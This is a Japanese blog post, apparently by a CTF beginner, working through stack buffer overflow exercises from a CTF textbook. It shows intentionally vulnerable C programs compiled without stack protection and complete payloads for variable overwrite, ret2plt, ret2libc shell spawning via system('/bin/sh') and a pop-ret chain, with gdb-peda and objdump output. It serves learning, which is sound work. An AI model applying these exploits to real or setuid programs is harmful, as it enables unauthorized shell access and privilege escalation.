Weird Wired World

Programming, Security

ハリネズミ本 PWN (BOF)

CTF初心者です。ハリネズミの2章 PWNをなぞりました。

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方

まず様々なツールが整備されていることに感動。peda, checksec, pwntools, etc...。この手のツールを知ってる知らないでは差がつくのは確実だなあ。本書ではELFのみ扱ってるけどPEも同様に対策必要だろうし...まだスタートラインにも居ないと確信(;^ω^)

Reversingの事前知識はあったので問題自体は易しめに感じました。

では書いてあった内容を記憶を元に書き殴っておきます。

BOFでスタックの変数の書き換え

seq, hundred共に0で初期化されているが,これをそれぞれ0x12345678,100に変更する標準入力を考える。

// ビルド: gcc bof1.c -m32 -o bof1 -fno-stack-protector
#include <stdio.h>

int main(int argc, char *argv[]) {
    int hundred = 0;
    int seq = 0;
    char buffer[10];

    printf("buffer address\t= %x\n", (int)buffer);
    printf("seq address\t= %x\n", (int)&seq);
    printf("hundred address\t= %x\n", (int)&hundred);

    fgets(buffer, 64, stdin);
    printf("seq = 0x%x\n", seq);
    printf("hundred = %d\n", hundred);

    if(seq == 0x12345678) {
        printf("seq OK");
    }

    if(hundred == 100) {
        printf("hundered OK");
    }

    return 0;
}

題意を満たす標準入力はecho -e 'AAAAAAAAAA\x78\x56\x34\x12\x64\x0\x0\x0' | ./bof1だ(Aは任意の文字)。

Return to PLT(ret2plt)

BOFでリターンアドレス(関数の戻り先の命令のアドレス)を改ざんし,共有ライブラリの関数にPLT経由で飛ばす攻撃。

main関数の戻り先にprintf関数を指定し,bufferの内容を表示する処理を考える。

// ビルド: gcc bof3.c -m32 -o bof3 -no-ssp -fno-stack-protector
#include <stdio.h>
#include <string.h>
char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

まず前提知識を説明する。関数呼び出し時,内部動作としてスタックに「①引数,②リターンアドレス,③呼び出す関数のアドレス」を順に積む。今回はprintf関数を呼び出すことが目標であるから,EIPのアドレスをprintf関数のものに書き換えるだけではなく,スタックの情報を模擬する必要がある。

EIPの奪取

標準入力でリターンアドレスを上書きできるかを確認する。これには標準入力に適当な長い文字列を入力すれば良い。もしリターンアドレスが上書きできれば,EIPが予期しない領域を指しSIGSEGVで落ちる。

試しに(AA...A)を入力すると,SIGSEGVが起きEIPの値がAAAAに変化した。即ち,標準入力でリターンアドレスを上書きできることが確認できた。

次に長い(AA...A)の文字列の中のどこがEIP(リターンアドレス)に書き換わるかを確認するために,pedaのパターン文字列を利用する。

peda上でpattern_create 50を実行しAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAを得た。これをプログラムに入力する。

gdb-peda$ r
Starting program: /home/enuf/ctf/pwn/book/bof3
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

するとSIGSEGVで落ち,EIPの値を確認して0x41414641 (b'AFAA')だと分かる。

AFAAが何番目の文字列であるは目で数えても良いが,以下のgdb-pedaコマンドを使う。

gdb-peda$ patto AFAA
AFAA found at offset: 44

offsetが44であるから,AFAAは45番目から現れる文字列である。従ってAを44回連続し,その後に攻撃対象の関数,すなわちprintf関数のアドレスに書き換えれば良いことが分かった。

PLT上のprintf関数のアドレスの取得

printfのplt上のアドレスはobjdumpコマンドで知ることができる。

# -d: disassembleを表示, -M: dissassembleのオプション, -j: セクション, --no-show-raw-insn: バイトコードを非表示
enuf@ubuntu:~/ctf/pwn/book$ objdump -d -M intel -j .plt --no bof3

bof3:     file format elf32-i386


Disassembly of section .plt:

08048340 <printf@plt-0x10>:
 8048340:  push   DWORD PTR ds:0x804a004
 8048346:  jmp    DWORD PTR ds:0x804a008
 804834c:   add    BYTE PTR [eax],al
    ...

08048350 <printf@plt>:
 8048350:  jmp    DWORD PTR ds:0x804a00c
 8048356:  push   0x0
 804835b:   jmp    8048340 <_init+0x28>

(後略)

以上により0x08048350を呼び出せば良いことが分かる。

リターンアドレスの書き換え

求める標準入力は「⓪: 引数の位置まで移動 (Aを44文字),① printf関数の引数のアドレス(&buffer),② リターンアドレス(本題ではないので適当にBBBBを挿入),③ PLT上のprintf関数のアドレス(0x08048350)」である。

enuf@ubuntu:~/ctf/pwn/book$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08' | ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP�BBBB`�
Segmentation fault (core dumped)

Return to Libc(ret2libc)

BOFでリターンアドレスを改ざんし,共有ライブラリ(特に標準Cライブラリ)の関数に飛ばす攻撃。

前回の標準入力を変えて,libcのsystem関数経由でbashを呼び出すことを考える。

ret2pltと基本的な仕組みは同じ。少し異なるのは,ASLRが有効の場合,共有ライブラリがリンクされるアドレスが起動毎に異なること。先述の通り今回はASLRを無効にして考えている。

さて,やることはリターンアドレスをsystem関数のものに書き換えて,引数で/bin/sh\x00を渡すことである。前者については,ret2pltと同様に行う。後者については,標準入力の先頭を/bin/sh\x00としておけば,strcpyでlocalからbufferにコピーされる。/bin/sh\x00は8文字だから,その分Aを36文字に調整する。

今system関数のアドレスは0xf7e54e70である。

以上で標準入力に必要な情報が得られた。実行結果を次に示す。

enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3
buffer: 0x804a060
ls
=  bof3.c bof3
exit

Segmentation fault (core dumped)

成功。このようにEIPを奪えてかつW/X可能な領域があれば,そのユーザの権限を奪えることになる。なお攻撃対象のプログラムがsetuidを持つ場合にはroot権限を奪うこともできる。

popret gadget

コード領域のPOP-RETを利用する攻撃。

system関数の後にexit関数を呼び出すことで,正常終了することを考える。

rp++を使ってgadgetを探す。

enuf@ubuntu:~/ctf/pwn/book$ rp -f bof3 -r 1 | grep pop
0x0804855f: pop ebp ; ret  ;  (1 found)
0x08048339: pop ebx ; ret  ;  (1 found)
0x08048586: pop ebx ; ret  ;  (1 found)

次に関数呼び出しのためのスタックを構成する。スタックはFIFOだから,exit関数, system関数の順に考える。

  1. exit関数の引数: 0
  2. exit関数のリターンアドレス: BBBB (ダミー)
  3. exit関数のアドレス: 0xf7e47f50
  4. system関数の引数のアドレス: 0x0804a060 (&buffer)
  5. system関数のリターンアドレス: &0x0804855f (popretのアドレスを1つ選ぶ)
  6. system関数のアドレス: 0xf7e54e70

以上で標準入力に必要な情報が得られた。実行結果を次に示す。

enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x7f\xe4\xf7BBBB0'; cat) | ./bof3
ls
=  bof3.c bof3
exit

成功。EXITにより正常終了することができた。

ハマったポイントのメモ

標準入力の(AA...A)の入力が手間なので,bufferのサイズを小さくしたところうまく動かない
bufferのサイズが小さいとカナリアが挿入されない。
なお,bufferサイズを小さくしたい場合は,コンパイラオプションでカナリアを挿入する閾値を下げるか,全てのスタック上の変数にカナリアを挿入する(-fstack-protector-all)方法がある。
何度確認しても正しい標準入力のハズなのにシェルが取れない
ASLRが有効になっていた。
無効化はgdb-pedaのASLRコマンドで確認していたのが誤りだった。これはgdb上での話でOS上のものとは別の話。